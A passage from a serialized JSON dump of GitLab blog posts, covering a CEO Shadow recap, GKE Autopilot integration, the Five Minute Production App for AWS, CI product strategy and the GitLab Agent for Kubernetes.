}",{"title":19410,"description":19411,"authors":19416,"heroImage":19412,"date":19418,"body":19419,"category":18484},[19417],"Lauren Barker","2021-02-26","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nHi there 🤓  My name is Lauren, but most call me Barker, and I just completed the [CEO Shadow program for GitLab](/handbook/ceo/shadow/). It's a two-week program where you step away from your normal role within GitLab and instead get a peek into [Sid's](https://about.gitlab.com/company/team/#sytses) daily life within GitLab. I'm going to let y'all know what the experience was like for me and some key takeaways I have. \n\n1. **I like coding.** My entire role shift from a Full Stack Engineer to a CEO Shadow was hard. I didn't realize how much a creature of habit I had become in my safe space of code. I'm the master of my domain when it's just ruby, YML, HAML, and my beloved Sublime with a couple of terminal windows open. I know, I'm old school in that setup, but hey, you like the tools you like. It's another instance of becoming too comfortable in my routine. The CEO shadow forced me out of my usual routine, to learn new processes, and adapt to how others work. At first, it was hard. By the second week, I started getting the hang of it. By the fourth week, I'd be good at it 💪 **My First takeaway from the program is to try new things, especially when you've become comfortable in your routine.**  For example, it's probably time to at least try out [Visual Studio](https://code.visualstudio.com/). Another example is writing a recap of my experience instead of making a video because writing is inherently uncomfortable for me. Take me back to the code, please!\n2.  **I finally understand how, where, and why the entire GitLab Direction section of the website is used.** I've been working on a [monorepo project](https://gitlab.com/groups/gitlab-com/-/epics/282) for the last year and one of the final pieces to figure out is whether the direction section (\u003Chttps://about.gitlab.com/direction/>) goes with the handbook or the marketing site. The program didn't answer that question for me, that's a team conversation to have, but I honestly didn't have a good understanding of what, how, when, or why the section was used. I had the basics... but not a clear understanding. Through the program, I was able to experience how this part of the website is used with internal and external audiences by the E group. It's a powerful, transparent, and key part of the website. For example, [the maturity section](https://about.gitlab.com/direction/maturity/) is important in telling the story of where GitLab is going and how we are going to get there. I can't wait to take this information back to my team and ask the question - *\" How can we leverage this information better in the marketing strategy for the website?\"*  [Danielle](https://about.gitlab.com/company/team/#dmor) and [Michael's](https://about.gitlab.com/company/team/#mpreuss22) ears should be ringing once this post is published. 😜\n3. Sids meeting subject jumps around sporadically throughout the day. But all discussions had common themes - **Sid treats everyone with compassion and respect**. Everyone can speak their opinion. He's transparent about everything with everyone. He *asks for* and  *gives* direct feedback throughout the day. He also has a clear vision for what GitLab is, where we're going, and how to empower a team to get there. He's a great leader and I'm proud to be part of this journey especially with a leader like Sid.  \n4. **GitLab is going places**. Git is a foundational pillar of the technological revolution, in my opinion. GitLab is enabling people from all over the world to build amazing things together. It is a foundational software platform for the next chapter of the digital revolution. Remember how email transformed the way people communicate in all industries across the globe? One day, in the near future, people will say remember the time before we had a DevOps platform to collaborate? And GitLab is and will continue to be the best DevOps platform out there. We're unstoppable with a strong team and leader founded on GitLab [CREDIT values](https://handbook.gitlab.com/handbook/values/).\n\nSo to sum it up, the CEO Shadow program was an amazing learning and challenging experience for me. It challenged me to adapt, learn, grow professionally, and grow personally. It was empowering to realize that even if something is hard at first, I can adapt quickly.  Wow... just look at all these words I just wrote!!! I haven't done that since my senior project 10 years ago. 🏫\n\nI'm so excited to return to my GitLab role and work with my [Digital Experience](https://about.gitlab.com/handbook/marketing/digital-experience/) team. I haven't been this excited about a [Monday sprint planning](https://about.gitlab.com/handbook/marketing/digital-experience/#iteration-process) meeting ever!\n\nWell, that's all I got for now. Hope you found something useful or funny about this post. Find me back in the [git log](https://gitlab.com/gitlab-com/www-gitlab-com/-/commits/master) and lurking around in my sweet creepy G10 van 😎\n\n\n\n![Barker's G10 Chevy van with an OC1 on top](https://about.gitlab.com/images/blogimages/barkers_van.png \"Barker's van\")\n",{"slug":19421,"featured":6,"template":678},"ceo-shadow-takeaways-from-barker","content:en-us:blog:ceo-shadow-takeaways-from-barker.yml","Ceo Shadow Takeaways From Barker","en-us/blog/ceo-shadow-takeaways-from-barker.yml","en-us/blog/ceo-shadow-takeaways-from-barker",{"_path":19427,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19428,"content":19433,"config":19438,"_id":19440,"_type":16,"title":19441,"_source":17,"_file":19442,"_stem":19443,"_extension":20},"/en-us/blog/gitlab-gke-autopilot",{"title":19429,"description":19430,"ogTitle":19429,"ogDescription":19430,"noIndex":6,"ogImage":13204,"ogUrl":19431,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19431,"schema":19432},"How to use GitLab with GKE Autopilot","GitLab works out of the box with the new GKE Autopilot from Google Cloud, a managed variant of the popular Google Kubernetes Engine.","https://about.gitlab.com/blog/gitlab-gke-autopilot","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab with GKE Autopilot\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2021-02-24\",\n      }",{"title":19429,"description":19430,"authors":19434,"heroImage":13204,"date":19435,"body":19436,"category":736,"tags":19437},[2816],"2021-02-24","\n\nIn the cloud native landscape, there are dozens of providers that offer managed Kubernetes services. Despite the abstraction, and ease of use promised, a major problem remains: getting the node size right. You want it to match your workloads so that you don’t under-provision – making the workloads unstable – or over-provision and rake in unnecessary costs. \n\n[GKE Autopilot from Google Cloud](https://cloud.google.com/blog/products/containers-kubernetes/introducing-gke-autopilot) solves this problem by enabling your team to focus on building your solutions with a fully managed and opinionated variant of Google Kubernetes Engine (GKE), where nodes are automatically provisioned based on your workload requirements and with no need to be managed independently. \n\nGKE Autopilot uses the resource specification in the PodSpec of your deployment to provision nodes or use defaults, automatically resize the nodes, or provision new nodes as the pods’ needs change. GitLab and Google Cloud officially support several use cases, including running GitLab and GitLab Runners as workloads on GKE Autopilot clusters, as well as using GitLab CI/CD to deploy applications onto GKE Autopilot.\n\n## GitLab and GKE Autopilot\n\n### GitLab Server\n\nGitLab can be installed on GKE Autopilot easily out of the box using the official Helm Charts and can be configured to match your company’s use case, such as external object storage and database. GKE Autopilot works to ensure the right sizes and number of nodes are provisioned based on the requirements specified in the GitLab charts and your customizations. You can access other resources in Google Cloud, such as storage and databases using Google Cloud Workload Identity.\n\nAll GKE Autopilot clusters come with Google Cloud Workload Identity pre-configured. Workload Identity allows you to bind Kubernetes Service Accounts to Google Service Accounts, with whatever permission that Google Service Account has. This can include resources in other Google Cloud platform projects.\n\nIn the first part of the GitLab with GKE Autopilot demo, I demonstrate how to install GitLab on a GKE Autopilot cluster:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/cNffh-qyXhQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### GitLab Runner\n\nThe GitLab Runner can be deployed on GKE Autopilot in unprivileged mode, allowing it to only run GitLab CI jobs that do not require privileged pods or Docker in Docker due to the lack of support for privileged pods on GKE Autopilot. To build container images, [Kaniko](https://docs.gitlab.com/ee/ci/docker/using_kaniko.html) or its likes can be used as an alternative to Docker. This applies to the bundled runner in the official GitLab Helm chart or when deployed independently using the official GitLab Runner chart. This also affects jobs using GitLab Auto DevOps, but works best when an independent Runner (set up on a GKE Standard cluster or virtual machine) is registered with the GitLab server running on GKE Autopilot.\n\n### Integrating GKE Autopilot clusters\n\nGKE Autopilot clusters integrate with GitLab just like a GKE Standard cluster. There are two options, the preferred of which is to use the [GitLab Agent for Kubernetes](/blog/gitlab-kubernetes-agent-on-gitlab-com/), especially if you are concerned about security or your cluster is behind a firewall. You can learn more about this in our [detailed documentation](https://docs.gitlab.com/ee/user/clusters/agent/).\nAlternatively, you can create a cluster-admin and provide the cluster certificate and token to [integrate with the cluster](https://docs.gitlab.com/ee/user/project/clusters/add_remove_clusters.html).  As of the time of writing, GKE Autopilot clusters cannot be created from GitLab like standard GKE clusters. The DinD limitation also affects the runner listed in the GitLab-managed apps that you can install as part of the integration. \n\nIn the second part of the demo video, I demonstrate how to integrate GitLab with a GKE Autopilot cluster and deploy an application using Auto DevOps.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/rCwHL3hQEWU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Considerations\n\nGKE Autopilot is opinionated and less configurable than GKE Standard. As a managed service, it allows you to focus on delivering the best solutions to your users and not worry about operations; these are limitations common for such managed Kubernetes services. \n\nAdministrative access to the nodes provisioned by GKE Autopilot is not supported, thus making any operation requiring access to the nodes limited. Host options, node selectors, node affinity/anti-affinity, taints, and tolerations are other functionalities that apply at the node level in GKE Standard but are not supported in Autopilot.\n\nWhen integrating an Autopilot cluster with GitLab, you cannot install the bundled cert-manager. I encountered an error while testing, stating that `mutatingwebhookconfigurations/` is managed and access is denied in GKE Autopilot. Alternatively, you can follow the directions provided in the official cert-manager documentation.\n\n## Wrapping up\n\nGKE Autopilot is designed to implement Google Cloud-developed best practices and has been fine-tuned to provide an ideal user experience. You can move from idea to production and scale worry-free when you integrate GitLab with GKE Autopilot, allowing you to deploy and monitor your application’s health, all within GitLab. If you also choose to deploy GitLab itself on GKE Autopilot, our official Helm chart will work out of the box.\n",[2509,3049,923,232],{"slug":19439,"featured":6,"template":678},"gitlab-gke-autopilot","content:en-us:blog:gitlab-gke-autopilot.yml","Gitlab Gke Autopilot","en-us/blog/gitlab-gke-autopilot.yml","en-us/blog/gitlab-gke-autopilot",{"_path":19445,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19446,"content":19451,"config":19456,"_id":19458,"_type":16,"title":19459,"_source":17,"_file":19460,"_stem":19461,"_extension":20},"/en-us/blog/production-grade-infra-devsecops-with-five-minute-production",{"title":19447,"description":19448,"ogTitle":19447,"ogDescription":19448,"noIndex":6,"ogImage":17779,"ogUrl":19449,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19449,"schema":19450},"GitOps & DevSecOps for production infrastructure in minutes","Unlock production-grade infrastructure and development workflows in under five minutes with Five Minute Production App: a blend of solutions offered by AWS, Hashicorp Terraform, and GitLab.","https://about.gitlab.com/blog/production-grade-infra-devsecops-with-five-minute-production","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Production-grade infrastructure, GitOps convergence, and DevSecOps in under 5 minutes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sri Rangan\"}],\n        \"datePublished\": \"2021-02-24\",\n      }",{"title":19452,"description":19448,"authors":19453,"heroImage":17779,"date":19435,"body":19454,"category":734,"tags":19455},"Production-grade infrastructure, GitOps convergence, and DevSecOps in under 5 minutes",[12249],"\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2021-03-10.\n{: .note .alert-info .text-center}\n\nThis is a story about achieving production-grade infrastructure in under five minutes.\\\\\nThis is a story about achieving production-grade DevSecOps in under five minutes.\\\\\nThis is a story about achieving total convergence of GitOps in under five minutes.\n\nMy name is Sri and over the last three months and I worked closely with GitLab co-founder [DZ](/company/team/#dzaporozhets) in building \"Five Minute Production App.\"\n\nThe app blends solutions offered by AWS, Hashicorp Terraform, and GitLab, and offers production-grade infrastructure and development workflows in under five minutes.\n\n![Five Minute Production App Diagram](https://about.gitlab.com/images/blogimages/five-min-prod-01-complete-flow.png){: .shadow.medium.center}\n\nApart from the efficiencies gained from using Five Minute Production App, you benefit by achieving stateful, production-ready infrastructure on the AWS hypercloud.\n\nWe started with AWS first, as it is the hypercoud leader today. Support for Azure and Google Cloud is on the roadmap.\n\nOur vision and design decisions are explained in the [README](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template#quickly).\n\n## Quickstart \n\nWe start with your GitLab project which has the source code of your web application. Regardless of which language or framework you use, your web application is packaged as a container image and stored within your GitLab project's Container Registry.\nThis is the Build stage.\n\nThis is followed by the Provision stage where Terraform scripts connect to AWS and create a secure environment for your web application.\nThe environments provisioned relate to your Git branching workflow.\nLong-lived Git branches create long-lived environments, and short-lived Git branches correspond to short-lived environments.\n\nResources provisioned include an Ubuntu VM, scalable PostgreSQL database, a Redis cluster, and S3 object storage.\nWe consider these elements as the building blocks for majority of web applications, and many of these fall under AWS free tier.\n\nThe infra state and credentials are stored within your GitLab project's managed Terraform state.\n\nFinally, we reach the Deploy stage which:\n1. Retrieves the deployable image from the GitLab Container Registry\n1. Retrieves the infrastructure credentials from the Gitlab Managed Terraform State, and\n1. Proceeds to deploy your web application\n\nEverything is achieved by including these two lines in your `.gitlab-ci.yml` file.\n\n```yaml\ninclude:\n  remote: https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template/-/raw/stable/deploy.yml\n```\n\nLet's look at the complete process in more detail.\n\n![Three stages of Five Minute Production App](https://about.gitlab.com/images/blogimages/five-min-prod-02-pipeline.png){: .shadow.medium.center}\nThe three stages of Five Minute Production App\n{: .note.text-center}\n\n## Build and package\n\nThe Build stage is where it all begins. Five Minute Production App reuses the [Auto Build stage](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-build) from the GitLab Auto DevOps pipeline.\n\nAuto Build builds and packages web applications that are:\n1. Containerized with a Dockerfile, or\n2. Compatible with the Cloud Native buildpack, or\n3. Compatible with the Heroku buildpack\n\nThus, web applications across multitudes of technologies are supported, including web frameworks such as Rails, Django, Express, Next.js, Spring, etc.\nand programming languages including Python, Java, Node.js, Ruby, Clojure, etc.\n\nOnce the Auto Build job has finished execution, the newly created container image is stored as an artifact in your GitLab project's Container Registry.\n\n## Provision the infrastructure\n\nThe next step, Provision, prepares infrastructure resources in AWS.\nThe first requirement here is the presence of AWS credentials stored as CI/CD variables at the project or group level.\nOnce valid AWS credentials are found, a Terraform script is executed to generate resources in AWS.\n\nThese resources include:\n1. EC2 VM based on Ubuntu 20.04 LTS\n2. PostgreSQL database managed by AWS RDS\n3. Redis cluster managed by AWS ElastiCache\n4. S3 bucket for file storage\n5. Email Service credentials managed by AWS SES\n\nThe most critical resource is the PostgreSQL service which has daily backups enabled.\nPostgreSQL data is snapshotted if the infrastructure resource is \"destroyed\" through a manual user action via the Five Minute Production App pipeline.\n\nThe EC2 VM is the only service accessible publicly. Ports 22, 80 and 443 are exposed.\nEvery other resource described above is part of a secure, private network, hidden from the public web, accessible ony via the EC2 instance and your web applicable deployed there.\n\nThe stateful services and environments are tied to your Git branches.\\\\\nThis means every Git branch creates a new environment with these resource sets.\\\\\nWe don't have a preference on your Git branching and environments lifecycle.\\\\\nUse long-lived or short-lived branches as you see fit, just keep in mind that long-lived branches leads to long-lived environments and short-lived branches leads to short-lived environments.\n\n![Infrastructure resources provisioned on AWS](https://about.gitlab.com/images/blogimages/five-min-prod-03-infra-resources.png){: .shadow.medium.center}\nInfrastructure resources provisioned on AWS\n{: .note.text-center}\n\n## Deploy your web application\n\nFinally comes the Deploy stage.\n\nThis is where the deploy script retrieves your web application package (container image) from the GitLab Container Registry, then retrieves the EC2 instance\ncredentials from the GitLab Managed Terraform State, and proceeds to deploy the relevant version of your web application in its environment.\n\nModern web applications might require additional commands being executed after each deployment or after the initial deployment,\nand these commands can be defined as variables in your `.gitlab-ci.yml` file.\n\nFinally, with the help of Certbot from Letsencrypt, SSL certificates are generated and configured for your web application.\nIf you have defined the `CERT_DOMAIN` CI/CD variable the SSL certificate will be generated for your custom domain name.\nOtherwise the generated SSL certificate uses a dynamic URL that Five Minute Production App prepares for you.\n\n## Conclusion\n\nThere we have it. A simple yet production-ready setup for your web application. If you are looking for an AWS-based setup, this is ready for usage.\n\nIf you are looking for something similar but not quite Five Minute Production App, this serves as an example of how to converge infrastructure-as-code with software development and provide seamless continuous deployment workflows.\n\nIn my personal experience, this is one of the most complete examples of GitOps:\n\n1. Your application source code lives in your GitLab project\n2. Your infrastructure defined as code lives in your GitLab project\n3. Your CI/CD pipeline lives in your GitLab project\n4. Your infrastructure state lives in your GitLab project\n5. Your infrastructure secrets and credentials live in your GitLab project\n6. Your environments configuration lives in your GitLab project\n\nThis complete GitOps convergence is not specifically configured for one project. It can be included as a template from multiple projects.\nThere is no reason why the GitLab project in your organization cannot be the single source of truth for everything.\n\n### Links\n\n- [Five Minute Production App](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template/-/blob/master/README.md)\n- [Reference Examples](https://gitlab.com/gitlab-org/5-minute-production-app/examples)\n\n### About the author\n\n[Sri Rangan](mailto:sri@gitlab.com), an Enterprise Solutions Architect with GitLab, is a core-contributor and maintainer\nof [Five Minute Production App](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template/-/blob/master/README.md).",[1384,1385,4103,3949,534,6962],{"slug":19457,"featured":6,"template":678},"production-grade-infra-devsecops-with-five-minute-production","content:en-us:blog:production-grade-infra-devsecops-with-five-minute-production.yml","Production Grade Infra Devsecops With Five Minute Production","en-us/blog/production-grade-infra-devsecops-with-five-minute-production.yml","en-us/blog/production-grade-infra-devsecops-with-five-minute-production",{"_path":19463,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19464,"content":19470,"config":19475,"_id":19477,"_type":16,"title":19478,"_source":17,"_file":19479,"_stem":19480,"_extension":20},"/en-us/blog/continuously-improving-ci-lovability",{"title":19465,"description":19466,"ogTitle":19465,"ogDescription":19466,"noIndex":6,"ogImage":19467,"ogUrl":19468,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19468,"schema":19469},"Continuously Improving CI to Lovable...again!","A transparent commentary on our Verify:Continuous Integration offering, covering how the landscape has changed and the product strategy that will carry us to Lovable.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681907/Blog/Hero%20Images/CI-lovable.jpg","https://about.gitlab.com/blog/continuously-improving-ci-lovability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Continuously Improving CI to Lovable...again!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jackie Porter\"}],\n        \"datePublished\": \"2021-02-22\",\n      }",{"title":19465,"description":19466,"authors":19471,"heroImage":19467,"date":19472,"body":19473,"category":18484,"tags":19474},[2985],"2021-02-22","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## What is it to be loved?\n\nAt GitLab, we use a [maturity](https://about.gitlab.com/direction/maturity/) rating to signal the readiness of a product category's capabilities for use by customers. The rating is evaluated by a scoring methodology called [Category Maturity Scorecard](https://about.gitlab.com/handbook/product/ux/category-maturity/category-maturity-scorecards/). In 2017, GitLab declared Continuous Integration \"Lovable\" after delivering significant feature functionality and becoming a [CI leader](https://about.gitlab.com/blog/gitlab-leader-continuous-integration-forrester-wave/). \n\nIn the [Verify Stage](/direction/ops/#verify), we have been able to maintain a lead against our competition by adding advanced feature functionality, relying on our [Single DevOps Platform](/solutions/devops-platform/), and executing on a strong vision. As the tides have been changing and as a practitioner of transparency, we [articulate when we change our mind](https://handbook.gitlab.com/handbook/values/#articulate-when-you-change-your-mind), especially when we learn new facts. \n\nIn a recent [opportunity canvas](https://about.gitlab.com/handbook/product/product-processes/#opportunity-canvas), we explored the adoption hurdles that prevent Source Code Management Enterprise users from adopting Verify functionality. We explored all potential features as candidates for adoption across Verify categories - CI, Testing, Pipeline Authoring, and Runner. \n\nIn this blog we will dive into they key takeways that help answer the question of what is it to be loved and how the expectations have shifted over time, and what the path to Lovable maturity looks like for Verify:Continuous Integration! \n\n## Key learnings from the research \n\nWe spent 6 weeks interviewing and collecting insights from across our customers to learn about their adoption journey with GitLab. These were the main learnings informing our approach. \n\n### GitLab is loved by developers \n\nAcross each organization, we learned that the experience for the developer was resoundingly positive and the leaders at these organizations appreciated this. The happiness of their engineering teams was and will continue to be extremely important to them, but the fact that GitLab was a significant contributing factor in developer job satisfaction was a reward on its own. \n\n### GitLab has some challenges with performance of minimal viable changes that are expected to work at a higher finish\n\nEnterprises are often larger, mature organizations shipping their own enterprise class solution. When faced with serving their needs, we learned they have a low tolerance for experimentation and a high expectation for polished features. This means a Premium or Ultimate tier offering needs to completely solve the problem and delight the user, not partially solve the problem. With our MVC and iterative methodology, we have historically shipped first and second iterations of features that may have solved the needs for individuals or small teams in small or medium-sized businesses. Although, with the expanding budgets as well as focus on developer productivity, organizations are looking for tools that will solve problems the best way possible, as comprehensively as possible. \n\n### GitLab's visibility into jobs at scale is painful, which also makes the management of diagnosing problems even more challenging \n\nWe learned a common question that organizations are unable to answer is around trends for passed and failed jobs. This is particularly relevant for projects that have over 100,000 pipelines and 300 jobs in single pipeline. Today in GitLab, there is no view where they can answer a question like how many times a particular job has failed; is it failing more often lately; does it fail at the same time each day; and other job behaviors of interest. Even filtering the job view is not possible today. So, for an organization that is looking to use GitLab at scale, it could be really challenging to easily triage and diagnose problems with their pipelines. \n\n## Path to Lovable \n\nIn the [Verify 1H Direction](/direction/ops/#verify), we identify a key piece of our strategy is to future-proof ourselves by investing in the core areas driving CI today. These top focuses include: \n\n1. [Artifacts](https://gitlab.com/groups/gitlab-org/-/epics/5125) - these are essential assets for your jobs and pipelines, getting these performant will help users take advantage of features like parent-child pipelines. \n1. [Variables](https://gitlab.com/groups/gitlab-org/-/epics/5124) - permissions and behaviors in pipelines are controlled by variables. Enabling these to work as designed will unlock the flexibility users have been looking for in their pipelines. \n\nBe sure to stay up to date on the [What's Next & Why Section](https://about.gitlab.com/direction/verify/continuous_integration/#whats-next--why) of Continuous Integration's Direction page, which will link to specific scheduled issues. \n\nBeyond this push for usability, in the 2H, we plan to tackle the challenges of visibility in diagnosing jobs via [gitlab&5022](https://gitlab.com/groups/gitlab-org/-/epics/5022) and piplelines activities in [gitlab&5071](https://gitlab.com/groups/gitlab-org/-/epics/5071), which you can see more information about in the [Maturity Plan](https://about.gitlab.com/direction/verify/continuous_integration/#maturity-plan) for Continuous Integration.\n",[1384,2249,754],{"slug":19476,"featured":6,"template":678},"continuously-improving-ci-lovability","content:en-us:blog:continuously-improving-ci-lovability.yml","Continuously Improving Ci Lovability","en-us/blog/continuously-improving-ci-lovability.yml","en-us/blog/continuously-improving-ci-lovability",{"_path":19482,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19483,"content":19488,"config":19492,"_id":19494,"_type":16,"title":19495,"_source":17,"_file":19496,"_stem":19497,"_extension":20},"/en-us/blog/gitlab-kubernetes-agent-on-gitlab-com",{"title":19484,"description":19485,"ogTitle":19484,"ogDescription":19485,"noIndex":6,"ogImage":13204,"ogUrl":19486,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19486,"schema":19487},"A new era of Kubernetes integrations on GitLab.com","The GitLab Agent for Kubernetes enables secure deployments from GitLab SaaS to your Kubernetes cluster and provides deep integrations of your cluster to GitLab.","https://about.gitlab.com/blog/gitlab-kubernetes-agent-on-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A new era of Kubernetes integrations on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2021-02-22\",\n      }",{"title":19484,"description":19485,"authors":19489,"heroImage":13204,"date":19472,"body":19490,"category":736,"tags":19491},[2544],"\n\nThe GitLab Agent for Kubernetes (\"Agent\", for short) provides a secure connection between a GitLab instance and a Kubernetes cluster and allows pull-based deployments to receive alerts based on the network policies. We released the first version of the Agent back in September on self-managed GitLab instances. We are happy to announce that the Agent is available on GitLab SaaS, GitLab.com, and has many more features coming soon.\n\nIf you run into any issues with the Agent or would like to provide feedback, please, [contribute in the Agent epic](https://gitlab.com/groups/gitlab-org/-/epics/3329).\n{: .alert .alert-warning}\n\n## Why a new era?\n\nBefore, the recommended way to attach a cluster to GitLab was to provide the cluster certificates and to open up the Kube API to GitLab.com. To get the most out of the integrations, we recommended attaching the cluster with `cluster-admin` rights, so GitLab could provision new namespaces and create review apps. But many users found this to be overly risky and instead rolled out custom integrations that were often built around the GitLab Runner. We want to simplify and support security-minded users with the GitLab Agent for Kubernetes and provide them with a safe, reliable, and future-proof integration solution between GitLab and their clusters. The GitLab Agent provides a secure connection between the cluster and GitLab. Access rights can be controlled with the Agent more tightly by our users, and we consider it to be the basis for future Kubernetes integrations with GitLab.\n\nWhen Kubernetes was just starting to get popular, our initial approach served new Kubernetes users well. At the same time, providing `cluster-admin` rights is not an option for many current users with experienced Site Reliability Engineers (SREs) and Platform Engineers on board. In the past few years, thanks to the certificate-based integrations, we have learned a lot about the needs of GitLab users, and we are leveraging these learnings with the Agent.\n\n## How does the Agent work?\n\nThe Agent provides a permanent connection using websockets or gRPC between a Kubernetes cluster and a GitLab instance. Since we want to keep the cluster-side component minimal and lightweight, we imagine multiple Agents being installed into the same cluster with different access levels. Still, this integration is complex. To understand how the Agent works, let me first introduce its major components. The whole Agent experience is made possible primarily by two components that we call `agentk` and `kas` (short for GitLab Agent Server). `agentk` is the cluster-side component that has to be deployed in the cluster, while `kas` is the GitLab server-side component that is managed alongside GitLab. Since we want to keep the cluster-side component as slim as possible, `kas` is responsible for much of the heavy lifting.\n\nThe Agent is configured in code, then registered with GitLab through an access token. Once installed in the cluster, `agentk` receives the access token and the `kas` endpoint and authenticates itself with GitLab. Subsequently, it retrieves its own configuration from GitLab, and keeps a connection open between `kas` and the cluster. This way both the agent and GitLab can send messages and receive information from the other party through a secure connection. This approach also allows a Kubernetes cluster sitting behind a firewall to be securely integrated with GitLab.com.\n\n## Getting started\n\n### About the Agent's availability\n\nIf you would like to try out the Agent on GitLab.com, `kas` is already installed and is managed by our SRE team. Before making the Agent generally available, we want to make sure that Agent-based workflows won't harm the performance of GitLab.com. This is why, at this time, `kas` is only available for select customers and projects. If you would like to try it out, [reach out to me](/company/team/#nagyv-gitlab) in e-mail or by mentioning me in an issue with your project ID, and we will authorize your project.\n\nGitLab's `kas` instance is available at `wss://kas.gitlab.com`. You will have to provide this value together with a registered agent access token when you deploy `agentk` to your cluster. You can [follow the installation instructions from our documentation](https://docs.gitlab.com/ee/user/clusters/agent/#define-a-configuration-repository) starting with defining a configuration repository.\n\n### How deployments work\n\nIf you prefer a video walk-through, we demonstrate how pull-based deployments work with the Agent below.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/17O_ARVaRGo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nFor deployments, we share some codebase with ArgoCD since this part of the Agent is built on the [gitops-engine](https://github.com/argoproj/gitops-engine/). The `gitops-engine` provides a simple tool to keep git repositories synced with cluster resources. The Agent is configured in code. What we call the \"agent configuration project\" references the repositories containing the Kubernetes manifests which are the resource definitions describing the expected state of your cluster. Whenever these manifests change, the Agent automatically pulls the new configuration and applies it in the cluster.\n\n#### An example using Helm\n\nToday, the GitLab Agent for Kubernetes only supports pull-based deployments, but we are working on connecting it with GitLab CI to also provide push-based deployment support. So far, we have created a simple example repository that shows how someone might use the Agent together with Helm to install the GitLab Runner in their cluster.\n\nOne critique of Helm is that you might get different deployments without changing anything in the code you manage. We want to make sure that your manifest projects reflect what is expected to be deployed in your cluster. This is why we recommend that you use GitLab CI to generate and commit the final Kubernetes manifests from your preferred templating tool, and let the Agent take care of deploying the rendered templates. We follow this pattern in the example repository too.\n\n### Kubernetes network security alerts\n\nIn [GitLab 13.9](/releases/2021/02/22/gitlab-13-9-released/) we are [shipping an integration with Cilium built on top of the Agent](/releases/2021/02/22/gitlab-13-9-released/#configmap-support-for-kubernetes-agent-server). The integration provides a simple way to generate network policy-related alerts and to surface those alerts in GitLab. Watch the video below for a demo:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/mFpXUvcAT1g\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Ongoing developments\n\nWhile we think that the Agent can already bring great value to Silver and Gold-level GitLab users, we are working constantly to build even more features on top of it.\n\nOur primary focus now is to make the Agent generally available on GitLab.com SaaS. We are also working on a set of features that allows a user to connect GitLab CI with clusters securely using the Agent. This allows existing push-based deployments to start easily using the Agent and the integrations coming with it.\n\nWe are excited to see how you will benefit from the Agent and what amazing things you will build with it.\n\n## Read more on Kubernetes:\n\n- [How to install and use the GitLab Kubernetes Operator](/blog/gko-on-ocp/)\n\n- [Threat modeling the Kubernetes Agent: from MVC to continuous improvement](/blog/threat-modeling-kubernetes-agent/)\n\n- [How to deploy the Agent with limited permissions](/blog/setting-up-the-k-agent/)\n\n- [Understand Kubernetes terminology from namespaces to pods](/blog/kubernetes-terminology/)\n\n- [What we learned after a year of GitLab.com on Kubernetes](/blog/year-of-kubernetes/)\n",[2509,1067,676],{"slug":19493,"featured":6,"template":678},"gitlab-kubernetes-agent-on-gitlab-com","content:en-us:blog:gitlab-kubernetes-agent-on-gitlab-com.yml","Gitlab Kubernetes Agent On Gitlab Com","en-us/blog/gitlab-kubernetes-agent-on-gitlab-com.yml","en-us/blog/gitlab-kubernetes-agent-on-gitlab-com",{"_path":19499,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19500,"content":19506,"config":19510,"_id":19512,"_type":16,"title":19513,"_source":17,"_file":19514,"_stem":19515,"_extension":20},"/en-us/blog/pipeline-editor-overview",{"title":19501,"description":19502,"ogTitle":19501,"ogDescription":19502,"noIndex":6,"ogImage":19503,"ogUrl":19504,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19504,"schema":19505},"Meet Pipeline Editor, your one-stop shop for building a CI/CD pipeline","The Pipeline Editor reduces the complexity of configuring your CI/CD pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665961/Blog/Hero%20Images/image_cover.jpg","https://about.gitlab.com/blog/pipeline-editor-overview","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet Pipeline Editor, your one-stop shop for building a CI/CD pipeline\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2021-02-22\",\n      